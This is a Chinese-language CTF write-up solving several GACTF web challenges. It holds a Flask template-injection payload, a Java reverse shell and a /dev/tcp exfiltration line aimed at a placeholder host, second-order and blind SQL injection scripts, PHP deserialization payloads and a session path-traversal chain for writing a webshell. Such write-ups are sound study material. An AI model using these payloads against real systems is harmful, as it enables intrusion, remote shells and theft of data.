ip=127.1.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000 {'subdomain_matching': False, 'error_handler_spec': {}, '_before_request_lock': <thread.lock object at 0x7fca8afb0410>, 'jinja_env': <flask.templating.Environment object at 0x7fca8b1b83d0>, 'before_request_funcs': {}, 'teardown_appcontext_funcs': [], 'shell_context_processors': [], 'after_request_funcs': {}, 'cli': <AppGroup app_2>, '_blueprint_order': [], 'before_first_request_funcs': [], 'view_functions': {'index': <function index at 0x7fca8c1cae50>, 'static': <bound method Flask.send_static_file of <Flask 'app_2'>>, 'hack': <function hack at 0x7fca8b1fcd50>}, 'instance_path': '/app/web2tokensadfafqgqgfaosvbs/instance', 'teardown_request_funcs': {}, 'url_value_preprocessors': {}, 'config': <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'FLAG': 'GACTF{wuhUwuHu_a1rpl4n3}', 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>, '_static_url_path': None, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7fca8b1fc550>]}, 'template_folder': 'templates', 'blueprints': {}, 'url_map': Map([<Rule '/' (HEAD, OPTIONS, GET) -> index>, <Rule '/static/<filename>' (HEAD, OPTIONS, GET) -> static>, <Rule '/<hack>' (HEAD, OPTIONS, GET) -> hack>]), 'name': 'app_2', '_got_first_request': True, 'import_name': '__main__', 'root_path': '/app/web2tokensadfafqgqgfaosvbs', '_static_folder': 'static', 'extensions': {}, 'url_default_functions': {}, 'url_build_error_handlers': []}
….我 flask 好像 又有点忘了….记得归纳
参考
xwiki
CVE-2020-11057
String host="x.x.x.x"; int port=8080; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
// python的socket 就是连不上。。。。
也可以直接将readflag
上传到自己主机上 cat /readflag > /dev/tcp/x.x.x.x/8080
那个主机上没有: nc scp rsync
后面是逆向,交给队友了
0110011101100001011000110111010001100110011110110101100001010111011010010110101101101001010111110100001101010110010001010101111101110111011010010111010001101000011011110111010101110100010111110111000001100101011100100110110101101001011100110111001101101001011011110110111001011111011100110110001101110010011010010111000001110100011010010110111001100111010111110110010101111000011001010110001101110101011101000110100101101111011011100010000100100001001000010111110 # 二进制转字符串 gactf{XWiki_CVE_without_permission_scripting_execution!!!> # 修改 gactf{XWiki_CVE_without_permission_scripting_execution!!!}
carefuleyes
源代码:www.zip
与hitcon-babytrick的基本流程一样:
获取usernam&password->利用username&password来反序列化->get_flag
- 获取usernam&password
利用的代码 rename.php
二次注入
require_once "common.php"; if (isset($req['oldname']) && isset($req['newname'])) { echo "select * from `file` where `filename`='{$req['oldname']}'"; $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'"); if ($result->num_rows > 0) { $result = $result->fetch_assoc(); echo "select * from `file` where `filename`='{$result['filename']}'".PHP_EOL; $info = $db->query("select * from `file` where `filename`='{$result['filename']}'"); $info = $info->fetch_assoc(); echo "oldfilename : ".$info['filename']." will be changed."."\n"; } else { exit("old file doesn't exists!"); } if ($result) { echo "before: ".$req['newname']."\n\r"; $req['newname'] = basename($req['newname']); echo "after: ".$req['newname']."\n\r"; $result['filename'] = addslashes($result['filename']); echo "update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}".PHP_EOL; $re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
这里有一个坑点,在本地复现时,如果用的是win10,
basename("\'a\'")
return'
而在linux return\'a\'
get: \'1\' //一开始传的值 update `file` set `filename`='\\\'1\\\'', `oldname`='1' where `fid`=11 > \'1\' //数据库中存的值 select * from `file` where `filename`='\\\'1\\\'' > \'1\' //return $result['filename'] select * from `file` where `filename`='\'1\'' > NULL // $info['filename'] get \\'1\\' //一开始传的值 update `file` set `filename`='\\\\\'1\\\\\'', `oldname`='1' where `fid`=11 > \\'1\\' //数据库中存的值 select * from `file` where `filename`='\\\\\'1\\\\\'' > \\'1\\' //return $result['filename'] select * from `file` where `filename`='\\'1\\''; > error check the manual that corresponds to your MySQL server version for the right syntax to use near '1\\''' at line 1 // 注意此处的 1\\'' 已经超过逃出 ''限制
则 payload
\\' union select password,password,password,password,password from user where privilege= 0x61646d696e ;#\\' qweqweqwe \\' union select username,username,username,username,username from user where privilege= 0x61646d696e ;#\\' XM
- 反序列化
<?php class XCTFGG{ private $method; private $args; public function __construct($method, $args) { $this->method = $method; $this->args = $args; } function login() {} } $result = urlencode(serialize(new XCTFGG('login',['XM ','qweqweqwe']))); var_dump($result);
- get_flag
POST /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22XM+%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D HTTP/1.1 Host: 202.182.118.236 Content-Length: 1334 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://202.182.118.236 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8rNPfazXNdlq3W4y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://202.182.118.236/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close ------WebKitFormBoundary8rNPfazXNdlq3W4y Content-Disposition: form-data; name="upfile"; filename="4.gif" Content-Type: image/gif GIF89aó ....省略 HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Sun, 30 Aug 2020 18:58:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.6.40 Content-Length: 43 upload successfully!GACTF{!QAZxsw2#EDCvfr4}
Y1ng 师傅的脚本 学到了
#!/usr/bin/env python3 #-*- coding:utf-8 -*- #__author__: 颖奇L'Amore www.gem-love.com import HackRequests as HR import requests as req import random from urllib.parse import quote as urlencode def upload(name): hack = HR.hackRequests() raw = '''POST /upload.php HTTP/1.1 Host: 124.71.191.175 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------257708923430047524191624862316 Origin: http://124.71.191.175 Connection: close Referer: http://124.71.191.175/ Upgrade-Insecure-Requests: 1 -----------------------------257708923430047524191624862316 Content-Disposition: form-data; name="upfile"; filename="%s.jpg" Content-Type: image/jpeg Y1ng -----------------------------257708923430047524191624862316-- ''' % name proxy=('127.0.0.1','8080') hh = hack.httpraw(raw=raw, ssl=False) def rename(name): url = 'http://124.71.191.175/rename.php' data = { 'oldname' : name, 'newname' : "bbbbb%d.jpg" % random.randint(1,1000000) } header = { "Content-Type" : "application/x-www-form-urlencoded", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Origin" : "http://124.71.191.175", "Upgrade-Insecure-Requests" : "1" } proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} r = req.post(url=url, data=data, headers=header) if "Y1ng" in r.text: return True else: return False def main(): sql = "select group_concat(password) from user" res = "" for i in range(1,1000): low = 32 high = 128 mid = (low + high) // 2 while (low < high): name = f"Y1ng' or ascii(substr(({sql}),{i},1))>{mid}#" upload(name) rename_result = rename(name) if rename_result: low = mid + 1 else: high = mid mid = (low + high) // 2 if mid == 32 or mid == 127: break res += chr(mid) print(res) if __name__ == '__main__': main()
babyshop[复现]
python .\git_extract.py http://45.63.19.130:8010/.git/
获得源代码
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html
当初这题的init.php
直接使我去世,xdebug时因为session问题,一直不行
9月12日复现一波,主要是init.php
的调试过程
泪目,还好我源代码没删:
源代码此处就不粘贴了,太多了,感兴趣的老哥可以下载源代码
Link:http://xzaslxr.xyz/wp-content/uploads/2020/09/45.63.19.130_8010.zip
- 代码格式化
可在格式化网站进行格式化
PHP代码格式化美化-在线PHP代码格式化美化工具 (jsons.cn)
手动分析
已经得到的值
$原 = "chr"; $虚物长度 = "count"; $随缘 = "rand"; $千奇百出 = "余壶血史两恐自扩劫盏铁天"; $来者无惧 = "余壶仍灯两恐尽天";
ctrl h
替换上面的一些参数 , 如$原(
=> chr(
$虚空之数
$虚空之数 = count($this->大宇) - count($this->大宇); // $虚空之数 = 0; count($this->大宇) = 66
function 太古仓
字符串第二维 等于输入参数时的第一位的数值
function 太古仓($圆点) { global $虚空之数, $虚物长度;//虚物长度 = 66 for ($内仓侍卫 = $虚空之数; $内仓侍卫 < count($this->大宇); $内仓侍卫++) { if ($this->大宇[$内仓侍卫][$虚空之数] == $圆点) { return $内仓侍卫; } } return $虚空之数; }
$天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈;
function 融合() { global $天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈; $天书 = array("阿尔法", "喝彩", "查理", "三角洲", "回声", "狐步舞", "高尔夫球", "旅馆", "印度", "朱丽叶", "公斤", "利马", "麦克", "十一月", "奥斯卡", "爸爸", "魁北克", "罗密欧", "塞拉", "探戈", "制服", "胜利者", "威士忌", "伦琴射线", "扬基", "祖鲁"); $实物长度 = 点灯(array("回声", "印度", "狐步舞", "印度", "三角洲", "印度", "十一月", "旅馆", "高尔夫球", "旅馆", "爸爸", "旅馆")); $寻根 = 点灯(array("回声", "印度", "狐步舞", "印度", "三角洲", "印度", "喝彩", "印度", "魁北克", "旅馆", "回声", "印度")); $奇语切片 = 点灯(array("公斤", "奥斯卡", "利马", "奥斯卡", "朱丽叶", "奥斯卡", "威士忌", "麦克", "公斤", "奥斯卡", "旅馆", "奥斯卡", "探戈", "十一月", "魁北克", "十一月", "利马", "奥斯卡")); $出窍 = 点灯(array("印度", "十一月", "朱丽叶", "奥斯卡", "朱丽叶", "奥斯卡", "印度", "十一月", "魁北克", "奥斯卡", "威士忌", "麦克", "旅馆", "奥斯卡", "威士忌", "十一月", "旅馆", "奥斯卡")); $遮天之术 = 点灯(array("高尔夫球", "公斤", "狐步舞", "公斤", "旅馆", "利马", "朱丽叶", "公斤", "公斤", "旅馆", "印度", "旅馆", "探戈", "朱丽叶", "印度", "公斤", "朱丽叶", "公斤", "旅馆", "公斤", "探戈", "公斤", "印度", "公斤", "朱丽叶", "公斤")); $虚空之数 = count($this->大宇) - count($this->大宇);// $实打实在 = count($this->大宇) == count($this->酉戊) / 5 * (11 + 1 + 1) + 1; $虚无缥缈 = count($this->大宇) == (count($天书) + 5) / 3 * (2 + 1 + 13); $异闻录 = chr($this->太古仓("春")) . chr($this->太古仓("铃"));// for ($爆裂 = count($this->大宇) - 1; $爆裂 < count($this->大宇) + count($this->丙午); $爆裂++) { ///count($this->丙午) = 25 $异闻录 .= chr($爆裂); } for ($爆裂 = count($this->大宇) / (2 + 1) + count($this->酉午) * (2 + 1); $爆裂 < count($this->支壬) * 5 - 2; $爆裂++) { $异闻录 .= chr($爆裂); } for ($爆裂 = (count($this->庚地) + count($this->大宇)) / 2 + 1; $爆裂 < count($this->大宇) - count($this->辰寅) / (2 + 1); $爆裂++) { $异闻录 .= chr($爆裂); } } } function 点灯($俚语) { global $天书, $虚物长度, $虚空之数, $原; $偏离 = count($俚语) % 11; $简易之物 = ""; for ($简易种子 = $虚空之数; $简易种子 < count($俚语) / (1 + 1); $简易种子++) { $贾 = $虚空之数; for ($另类种子 = $偏离; $另类种子 < $偏离 + 11 + 2 + 2 + 1; $另类种子++) { if ($天书[$另类种子] == $俚语[$简易种子 + $简易种子]) { $贾 += $另类种子; $贾 -= $偏离; } if ($天书[$另类种子] == $俚语[$简易种子 + $简易种子 + 1]) { $贾 += $另类种子 * 2 * 2 * 2 * 2; $贾 -= $偏离 * 2 * 2 * 2 * 2; } } $简易之物 .= chr($贾); } return $简易之物; } function print_var_name($var) { foreach($GLOBALS as $var_name => $value) { if ($value === $var) { return $var_name; } } return false; } $原 = "chr"; $虚物长度 = "count"; $随缘 = "rand"; $千奇百出 = "余壶血史两恐自扩劫盏铁天"; $来者无惧 = "余壶仍灯两恐尽天"; $虚空之数 = 0; $fe1w0 = new 造化之神; $arr = array($天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈); for($i=0;$i<count($arr);$i++) { echo print_var_name($arr[$i])." :".$arr[$i].PHP_EOL; } $天书= /home/fe1w0/babyshop/tttttt.php:232: array(26) { [0] => string(9) "阿尔法" [1] => string(6) "喝彩" [2] => string(6) "查理" [3] => string(9) "三角洲" [4] => string(6) "回声" [5] => string(9) "狐步舞" [6] => string(12) "高尔夫球" [7] => string(6) "旅馆" [8] => string(6) "印度" [9] => string(9) "朱丽叶" [10] => string(6) "公斤" [11] => string(6) "利马" [12] => string(6) "麦克" [13] => string(9) "十一月" [14] => string(9) "奥斯卡" [15] => string(6) "爸爸" [16] => string(9) "魁北克" [17] => string(9) "罗密欧" [18] => string(6) "塞拉" [19] => string(6) "探戈" [20] => string(6) "制服" [21] => string(9) "胜利者" [22] => string(9) "威士忌" [23] => string(12) "伦琴射线" [24] => string(6) "扬基" [25] => string(6) "祖鲁" } $原= /home/fe1w0/babyshop/tttttt.php:232: string(3) "chr" $虚物长度= /home/fe1w0/babyshop/tttttt.php:232: string(5) "count" $异闻录= /home/fe1w0/babyshop/tttttt.php:232: string(66) "+=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./0123456789" $实物长度= /home/fe1w0/babyshop/tttttt.php:232: string(6) "strlen" $寻根= /home/fe1w0/babyshop/tttttt.php:232: string(6) "strpos" $奇语切片= /home/fe1w0/babyshop/tttttt.php:232: string(9) "str_split" $出窍= /home/fe1w0/babyshop/tttttt.php:232: string(9) "array_pop" $遮天之术= /home/fe1w0/babyshop/tttttt.php:232: string(13) "base64_decode" $虚空之数= /home/fe1w0/babyshop/tttttt.php:232: int(0) $实打实在= /home/fe1w0/babyshop/tttttt.php:232: bool(true) $虚无缥缈= /home/fe1w0/babyshop/tttttt.php:232: bool(false)
双手造物
function 双手造物($物, $左手, $右手) { 造化($物)(造化($左手), 造化($右手)); var_dump(造化($物)); var_dump(造化($左手)); var_dump(造化($右手)); } 双手造物("诊秀倾垫余监血泡披切天夫", "沃乎泡误拢瓜迷物构吨悔沿抹孟扩逃规承舌天", "劫哥沃实"); /home/fe1w0/babyshop/tttttt.php:247: string(7) "ini_set" /home/fe1w0/babyshop/tttttt.php:248: string(14) "display_errors" /home/fe1w0/babyshop/tttttt.php:249: string(3) "Off"
- 造化与 使用
造化
函数混淆的参数
function 造化($奇语) { global $异闻录, $奇语切片, $虚物长度, $出窍, $虚空之数, $虚无缥缈, $遮天之术,$fe1w0; $fe1w0 = $奇语; $奇语 = str_split($奇语, 2 + 1);//从第4个开始拆开 $造化之子 = new 造化之神(); $翻译果实 = ""; for ($翻译种子 = $虚空之数; $翻译种子 < $虚物长度($奇语); $翻译种子++) { for ($造化种子 = $虚空之数; $造化种子 < $虚物长度($造化之子->大宇); $造化种子++) { $造化之孙 = $造化之子->大宇[$造化种子]; $造化之孙长度 = $虚物长度($造化之孙); if ($造化之孙长度 == $虚空之数) { continue; } if ($造化之孙[$造化之孙长度 - 1] == $奇语[$翻译种子]) { $翻译果实 .= $异闻录[$造化种子]; array_pop($造化之子->大宇[$造化种子]); break; } } } echo print_var_name($fe1w0).":".base64_decode($翻译果实); return base64_decode($翻译果实); }
之后的混淆基本上全是用造化
来混淆,可以将混淆的变量名和变量值一同打印分析。
参考的E99p1ant 师傅
<?php #session_save_path('/var/www/html/babycode/storage'); class 造化之神 { // 构造函数 function __construct() { $this->融合(); } function 融合() { global $天书,$异闻录,$实物长度,$寻根,$奇语切片,$出窍,$遮天之术,$虚空之数, $实打实在,$虚无缥缈; // $虚空之数 = NULL $天书=array("阿尔法","喝彩","查理","三角洲","回声","狐步舞","高尔夫球","旅馆","印度","朱丽叶","公斤","利马","麦克","十一月","奥斯卡","爸爸","魁北克","罗密欧","塞拉","探戈","制服","胜利者","威士忌","伦琴射线","扬基","祖鲁"); $实物长度='strlen'; $寻根='strpos'; $奇语切片='str_split'; $出窍='array_pop'; $遮天之术='base64_decode'; $虚空之数=0; $实打实在 = true; $虚无缥缈 = false; $异闻录= '+=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./0123456789'; } } // 上面是加密的构造函数,可以不管 new 造化之神(); $千奇百出="余壶血史两恐自扩劫盏铁天"; $来者无惧="余壶仍灯两恐尽天"; ini_set('display_errors', 'On'); $宝物="冻实史畏言秀倾服沃尽天夫"; class 造齿轮 { protected$朝拜圣地; protected$贡品; protected$圣殿; protected$禁地; public function __construct() { echo '__construct'.PHP_EOL; $this->朝拜圣地 = 'storage'; if(!is_dir($this->朝拜圣地)){ mkdir($this->朝拜圣地); } $this->禁地 = array('php', 'flag', 'html', 'htaccess'); } // 检查 Cookie 里是否有黑名单 public function 挖掘($货物, $食物) { echo '挖掘'.PHP_EOL; foreach($this->禁地 as $元素) { if(stripos(@$_COOKIE[$食物], $元素) !== false) { die('invaild ' . $食物);// PHPSESSID return false; } } $this->圣殿 = session_id(); return true; } #'/proc/self/cwd/'. '/var/www/html/babycode/'. // 写文件 public function 种植($货物,$食物) { echo '种植'.PHP_EOL."$this->贡品".$食物; $this->贡品 = $货物; return file_put_contents('/var/www/html/babycode/'.$this->朝拜圣地.'/sess_'.$货物,$食物); } // 读文件 public function 收获($货物) { echo '收获'.PHP_EOL; $this->贡品=$货物; return (string)@file_get_contents('/var/www/html/babycode/'.$this->朝拜圣地.'/sess_'.$货物); } public function 总结($货物) { echo '总结'.PHP_EOL."$this->货物"; global$实物长度,$虚无缥缈; if(strlen($this->圣殿) <= 0){ return; } return file_put_contents(''.$this->朝拜圣地.'/note_'.$this->圣殿,$货物)===$虚无缥缈?$虚无缥缈:true; } public function 归纳() { echo '归纳'.PHP_EOL; return (string)@file_get_contents('/var/www/html/babycode/'.$this->朝拜圣地.'/note_'.$this->贡品); } public function 思考($货物) { echo '思考'.PHP_EOL; $this->贡品=$货物; if(file_exists($this->朝拜圣地.'/sess_'.$货物)) { unlink($this->朝拜圣地.'/sess_'.$货物); } return true; } public function 反省($货物) { echo '反省'.PHP_EOL; foreach(glob($this->朝拜圣地.'/*') as $元素) { if(filemtime($元素) + $货物 < time() && file_exists($元素)) { unlink($元素); } } return true; } public function 完毕() { echo '完毕'.PHP_EOL; return true; } public function __destruct() { echo '__destruct'.PHP_EOL; $this->总结($this->归纳()); } } $齿轮=new 造齿轮(); session_set_save_handler(array($齿轮, '挖掘'), array($齿轮, '完毕'), array($齿轮, '收获'), array($齿轮, '种植'), array($齿轮, '反省'), array($齿轮, '完毕')); session_start(); srand(mktime(0,0,0,0,0,0)); $盛世=array(rand()=>array('alice',0b1),rand()=>array('bob',0b101),rand()=>array('cat',0b10100),rand()=>array('dog',0b1111),rand()=>array('evil',0b101),rand()=>array('flag',0b10011100001111)); function 化缘() { return $_SESSION[' ']; } function 取经() { global$盛世; $宝藏='['; foreach($_SESSION['items'] as $元素){ $宝藏 .= $盛世[$元素][0].', ';//$宝藏 <= items } $宝藏.=']'; return $宝藏; } function 念经() { global $齿轮; return $齿轮->归纳(); } function 造世() { global $盛世; $宝藏=''; foreach($盛世 as $按键=>$元素){ $宝藏 .= '<div class="item"><form method="POST"><div class="form-group">'. $元素[0]. '</div><div class="form-group"><input type="hidden" name="id" value=""'. $按键. '"><button type="submit" class="btn btn-success">buy (
#039;.$元素[1].')</button></div></form></div>'; } return $宝藏; } global $_POST,$_SESSION,$_COOKIE; if(!isset($_SESSION['balance'])){ $_SESSION['balance'] = 0b1000101110010/2; } if(!isset($_SESSION['items'])){ $_SESSION['items'] = []; } if(!isset($_SESSION['note'])){ $_SESSION['note'] = ''; }; if(isset($_POST['id'])) { if($_SESSION['balance'] >= $盛世[$_POST['id']][1]) { $_SESSION['balance'] = $_SESSION['balance']-$盛世[$_POST['id']][1]; array_push($_SESSION['items'], $_POST['id']);//items <= id echo('<span style="color:green">buy succ!</span>'); } else { echo('<span style="color:red">lack of balance!</span>'); } } var_dump($_POST['note']); if(isset($_POST['note'])) { if(strlen($_POST['note'])<=1<<10) { echo "fuck"; $齿轮->总结(str_replace(array('&','<','>'), array('&','<','">'), $_POST['note'])); echo('<span style="color:green">write succ!</span>'); } else { echo('<span style="color:red">note too long!</span>'); } } ?>
- session_set_save_handler
session handler默认启动顺序是session_start分别调用的回调函数。为open read ,然后等待脚本结束,收集
$_SESSION
(默认在内存中),然后关闭脚本,然后执行write,写入文件,然后close。
session_set_save_handler("sess_open", "sess_close", "sess_read", "sess_write", "sess_destroy", "sess_gc"); session_set_save_handler(array($齿轮,'挖掘'),array($齿轮,'完毕'),array($齿轮,'收获'),array($齿轮,'种植'),array($齿轮,'反省'),array($齿轮,'完毕'));
从代码脚本分析流程来看,分为两种情况
post note =NULL
为__construct
、挖掘
、收获
、脚本执行
、__destruct
、归纳
、总结
、种植
、完毕
post note =NULL
为__construct
、挖掘
、收获
、脚本执行
、总结
、__destruct
、归纳
、总结
、种植
、完毕
执行代码中坑:
如果你在使用解析后的代码时,遇到 file_get_content
和file_put_content
报错问题,且note可以生成并写入,即输入note后脚本执行加总结可以执行(尝试过程中发现php7.0版本都有这个问题),但之后的归纳
、总结
、 种植
无法执行,可以将路径换成/proc/self/cwd/
就可以正常执行。
题外话: 这个坑踩了一个下午,一直以为是配置问题,后来想到之前考到的一题中讲到
include_once
与/x/../proc/self/cwd
搭配可以再读一次代码(之前已经包含代码了),于是猜测session_set_save_handler
解析出了问题
具体分析
解题的思路,主要利用原有函数的读写操作和session导致的反序列化(主要是造齿轮类的反序列化),后一部分的原来,可以看这篇文章session serialize
先以正常的读写过程为例
- 无
post_note
情况下:
st=>start: __contruct op1=>operation: 挖掘,检查PHPSESSID是否在黑名单 op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物 op3=>operation: __destruct op4=>operation: 归纳,read(storage/note_PHPSESSID) op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize) e=>end: 完毕 st->op1->op2->op3->op4->op5->op6->e
- 有
post_note
情况下:
st=>start: __contruct op1=>operation: 挖掘,检查PHPSESSID是否在黑名单 op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物 op7=>operation: 总结,write(storage/note_PHPSESSID,post_note) op3=>operation: __destruct op4=>operation: 归纳,read(storage/note_PHPSESSID) op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize) e=>end: 完毕 st->op1->op2->op7->op3->op4->op5->op6->e
- 有
post_id
情况下:
st=>start: __contruct op1=>operation: 挖掘,检查PHPSESSID是否在黑名单 op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物 op7=>operation: 脚本 array_push($_SESSION['items'], $_POST['id']) op3=>operation: __destruct op4=>operation: 归纳,read(storage/note_PHPSESSID) op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize) e=>end: 完毕 st->op1->op2->op7->op3->op4->op5->op6->e
漏洞产生:
当file_get_contents
和file_put_contents
会对/right_path/../path_name
、/error_path/../path_name
会产生不同的操作
/right_path/../path_name
不会执行/error_path/../path_name
会执行
即 write(storage/note_fe1w0/../sess_xz)成功
这样我们就可以利用收获函数的session读取,导致造齿轮类反序列化.
具体payload 可以看https://www.anquanke.com/post/id/216289#h3-6,
因为我在复现过程,发现疑惑且无法解答
先放出齿轮类反序列化流程图
st=>start: __contruct op1=>operation: 挖掘,检查PHPSESSID是否在黑名单 op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物 op7=>operation: 脚本 array_push($_SESSION['items'], $_POST['id']) op3=>operation: __destruct op4=>operation: 归纳,read(storage/note_PHPSESSID) op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL op8=>operation: __destruct + 反序列化 op4=>operation: 归纳,read(storage/$this->贡品) op5=>operation: 总结,write(storage/$this->贡品,归纳),当PHPSESSID为空时,return NULL op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize) e=>end: 完毕 st->op1->op2->op7->op3->op4->op5->op8->op4->op5->op6->e
可以对比无post_note
情况下流程图,可以发现要生成node_cmd.php
的前提条件为file_put_contents(/error_path)
orfile_put_contents(new_file)
可以执行,否则将无法谢shell
但回顾到一开始的状态,即无post_note
情况下流程图,会发现若file_put_contents(/error_path)
orfile_put_contents(new_file)
可以执行,这样的话,在get
方式请求时,都会生成两个文件。
更坑的是,当你到第二步,想利用/error_path/../sess_name
执行时,会导致sess_name会被写两次,导致无法实际控制
以下是我在假设环境符合题意下的payload 学习,若以上想法有什么问题,还请师傅们斧正.
当然由于path可控,那就可以直接尝试读取flag
- 反序列化
<?php class 造齿轮 { protected $朝拜圣地 = 'storage'; protected $贡品 = 'xz/../sess_xz'; protected $圣殿 = 'cmd.php'; protected $禁地 = ''; } ini_set('session.save_path', '.'); session_start(); $_SESSION['a'] = new 造齿轮(); //urlencode a%7CO%3A9%3A%22%E9%80%A0%E9%BD%BF%E8%BD%AE%22%3A4%3A%7Bs%3A15%3A%22%00%2A%00%E6%9C%9D%E6%8B%9C%E5%9C%A3%E5%9C%B0%22%3Bs%3A7%3A%22storage%22%3Bs%3A9%3A%22%00%2A%00%E8%B4%A1%E5%93%81%22%3Bs%3A13%3A%22xz%2F..%2Fsess_xz%22%3Bs%3A9%3A%22%00%2A%00%E5%9C%A3%E6%AE%BF%22%3Bs%3A7%3A%22cmd.php%22%3Bs%3A9%3A%22%00%2A%00%E7%A6%81%E5%9C%B0%22%3Bs%3A0%3A%22%22%3B%7D
- 先将 序列化文本存储在
sess_xzas
文件中
Cookie: PHPSESSID=xz/../sess_xzas note=a%7CO%3A9%3A%22%E9%80%A0%E9%BD%BF%E8%BD%AE%22%3A4%3A%7Bs%3A15%3A%22%00%2A%00%E6%9C%9D%E6%8B%9C%E5%9C%A3%E5%9C%B0%22%3Bs%3A7%3A%22storage%22%3Bs%3A9%3A%22%00%2A%00%E8%B4%A1%E5%93%81%22%3Bs%3A13%3A%22xz%2F..%2Fsess_xz%22%3Bs%3A9%3A%22%00%2A%00%E5%9C%A3%E6%AE%BF%22%3Bs%3A7%3A%22cmd.php%22%3Bs%3A9%3A%22%00%2A%00%E7%A6%81%E5%9C%B0%22%3Bs%3A0%3A%22%22%3B%7D
- 将payload导入到
sess_xz
中,
POST /babycode/ HTTP/1.1 Host: 192.168.21.136 Proxy-Connection: keep-alive Content-Length: 35 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.21.136 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4255.0 Safari/537.36 Edg/87.0.634.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.21.136/babycode/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=xz id: <?php phpinfo();?>
sess_xz
内容
